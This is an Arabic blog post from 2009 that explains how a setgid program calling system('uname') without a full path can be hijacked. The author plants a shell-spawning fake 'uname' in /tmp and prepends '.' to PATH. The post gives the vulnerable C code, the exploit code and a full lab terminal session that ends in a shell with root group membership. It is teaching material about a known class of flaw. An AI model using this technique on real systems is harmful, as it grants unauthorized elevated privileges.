Tuesday, April 14, 2009

مخاطر SUID & syscall

السلام عليكم...

هناك غلطات برمجيه يقع فيها كثير من المبرمجين , وهي انهم يقومون بوضع الملفات التنفيذيه في دوال

بدون تحديد مسارها "System Call"

مثلا عندنا هذا الكود


#include <%stdlib.h%>

int main() {

system("uname");

return 0;
}
للوهله الاولى بتقول الكود سليم ومافيه شي, ومافي مجال لاستغلاله.

بس كل شي ممكن في اللينكس, الثغره هذي انك ممكن تلعب على مسارات البحث.

لو كتبت الامر
env
او كتبت
echo $PATH
بتشوف المسارات الي يبحث فيها الشل الي انته تستخدمه مثلا "الباش" عن البرامج والملفات.

مثلا اذا كتبت الامر
uname
بتشوفه اشتغل مباشره بدون اضافة مساره الحقيقي.

اكتب الامر
whereis uname
بتشوف مساره , مثلا
/bin
المسار هذا بتشوفه موجود عندك على
echo $PATH

المهم نرجع لثغره واستغلالها, بكل بساطه روح على اي مسار مثلا
/tmp
واكتب اي كود تريد و غير اسمه الى
"uname"
وضيف المسار الي انته فيه على
$PATH

نحط امثله احسن, مثلا بكتب كود يعطيني شل, وبحطه في
/tmp

#include <%stdlib.h%>
int main()
{
char *arg[] = {"/bin/sh",NULL};

execve(arg[0],arg,NULL);
}
وبغير اسمه الى
uname

وبعدين بضيف المسار الي انا فيه على
$PATH

export PATH=.:$PATH

هنا انا ضفت نقطه على بدايه المسارات , النقطه في اليونكس معناها المسار الي انته فيه.
مثلا اذا جيت تشغل ملف تنفيذي في نفس المسار الي انته فيه بتكتب
./file

المهم, الحين اذا رحت وشغلت الملف الي فيه الثغره وانته موجود على
/tmp
بتشوف انك حصلت على شل بدل الامر
uname

الخطر يكمن في استخدام
setuid/gid
في الصلاحيات.
حيث ان البرنامج يشتغل بصلاحيات اليوزرز صاحب البرنامج وليس اليوزر الي شغل البرنامج.

من المانيول:
S_ISUID 04000 set user ID on execution
S_ISGID 02000 set group ID on execution

خلونا نشوف مثال كامل على الموضوع:

كتبنا الملف المضروب
[drdeath@SecureDeath lab]$ vi sys_exp.c

عملنا له كومبايل بال
gcc
[drdeath@SecureDeath lab]$ gcc sys_exp.c -o sys_exp

غيرنا اليوزر له لروت

[drdeath@SecureDeath lab]$ sudo chown root:root sys_exp

غيرنا الصلاحيات وضفنا له
setgid
[drdeath@SecureDeath lab]$ sudo chmod 2755 sys_exp
[drdeath@SecureDeath lab]$ ls -lah
-rwxr-sr-x 1 root root 4.8K 2009-03-27 12:15 sys_exp

شغلنا البرنامج بشكل طبيعي, واعطانا ناتج الامر
uname
[drdeath@SecureDeath lab]$ ./sys_exp
Linux

رحنا على مسار
/tmp
وعدلنا على
$PATH
[drdeath@SecureDeath lab]$ cd /tmp
[drdeath@SecureDeath tmp]$ export PATH=.:$PATH

كتبنا ملف
uname.c
الي فيه الكود الي بيعطينا الشل
[drdeath@SecureDeath tmp]$ cat >> uname.c <<> #include
> int main()
> {
> char *arg[] = {"/bin/sh",NULL};
> execve(arg[0],arg,NULL);
> }
> EOF
[drdeath@SecureDeath tmp]$

عملنا له كومبايل
[drdeath@SecureDeath tmp]$ gcc uname.c -o uname

شغلنا الملف المضروب مباشره من التمب وحصلنا على الشل و اليوزر له صلاحيات قروب الرووت
[drdeath@SecureDeath tmp]$ /home/drdeath/lab/sys_exp
sh-3.2$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)
sh-3.2

تحياتي..
Dr.Death

No comments:

Post a Comment